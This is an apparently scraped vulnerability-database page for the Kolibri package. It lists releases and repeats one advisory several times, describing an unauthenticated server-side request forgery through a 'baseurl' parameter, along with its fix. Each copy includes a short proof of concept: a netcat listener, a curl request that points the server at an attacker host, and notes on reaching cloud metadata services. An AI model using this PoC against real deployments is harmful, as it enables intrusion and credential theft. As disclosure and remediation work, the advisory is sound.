kolibri

Version	Released
`0.19.5` patch	Jul 14, 2026
`0.19.4` patch	May 27, 2026
`0.19.3` patch 1 CVE	Mar 20, 2026
`0.19.2` patch 1 CVE	Mar 10, 2026
`0.19.1` patch 1 CVE	Jan 20, 2026
`0.19.0` minor 1 CVE	Dec 11, 2025
`0.18.4` patch 1 CVE	Oct 06, 2025
`0.18.3` patch 1 CVE	Sep 17, 2025
`0.18.2` patch 1 CVE	Aug 06, 2025
`0.18.1` patch 1 CVE	Jun 18, 2025
`0.18.0` minor 1 CVE	Apr 28, 2025
`0.17.5` patch 1 CVE	Dec 19, 2024
`0.17.4` patch 1 CVE	Dec 05, 2024
`0.17.3` patch 1 CVE	Oct 30, 2024
`0.17.2` patch 1 CVE	Sep 25, 2024
`0.17.1` patch 1 CVE	Sep 19, 2024
`0.17.0` minor 1 CVE	Aug 06, 2024
`0.16.2` patch 1 CVE	May 29, 2024
`0.16.1` patch 1 CVE	Apr 08, 2024
`0.16.0` minor 1 CVE	Feb 20, 2024
`0.15.12` patch 1 CVE	Mar 15, 2023
`0.15.11` patch 1 CVE	Feb 06, 2023
`0.15.10` patch 1 CVE	Feb 02, 2023
`0.15.9` patch 1 CVE	Nov 30, 2022
`0.15.8` patch 1 CVE	Oct 12, 2022
`0.15.7` patch 1 CVE	Sep 06, 2022
`0.15.6` patch 1 CVE	Jul 18, 2022
`0.15.5` patch 1 CVE	Jul 01, 2022
`0.15.4` patch 1 CVE	Jun 22, 2022
`0.15.3` patch 1 CVE	Jun 07, 2022
`0.14.8a8` pre 1 CVE	May 17, 2022
`0.14.8a7` pre 1 CVE	May 03, 2022
`0.14.8a6` pre 1 CVE	Apr 28, 2022
`0.15.2` patch 1 CVE	Apr 26, 2022
`0.14.8a5` pre 1 CVE	Feb 25, 2022
`0.15.1` patch 1 CVE	Feb 16, 2022
`0.15.1b1` pre 1 CVE	Feb 16, 2022
`0.14.8a4` pre 1 CVE	Feb 10, 2022
`0.14.8a2` pre 1 CVE	Jan 14, 2022
`0.15.0` minor 1 CVE	Dec 20, 2021
`0.15.0b5` pre 1 CVE	Dec 20, 2021
`0.14.8a1` pre 1 CVE	Dec 10, 2021
`0.14.7` patch 1 CVE	Apr 20, 2021
`0.14.6` patch 1 CVE	Jan 22, 2021
`0.14.5` patch 1 CVE	Dec 02, 2020
`0.14.4` patch 1 CVE	Nov 19, 2020
`0.14.4rc1` pre 1 CVE	Nov 16, 2020
`0.14.3` patch 1 CVE	Aug 19, 2020
`0.14.2` patch 1 CVE	Aug 18, 2020
`0.14.1` patch 1 CVE	Aug 13, 2020

0.19.5 patch

Jul 14, 2026

0.19.4 patch

May 27, 2026

0.19.3 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 20, 2026

0.19.2 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 10, 2026

0.19.1 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 20, 2026

0.19.0 minor

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
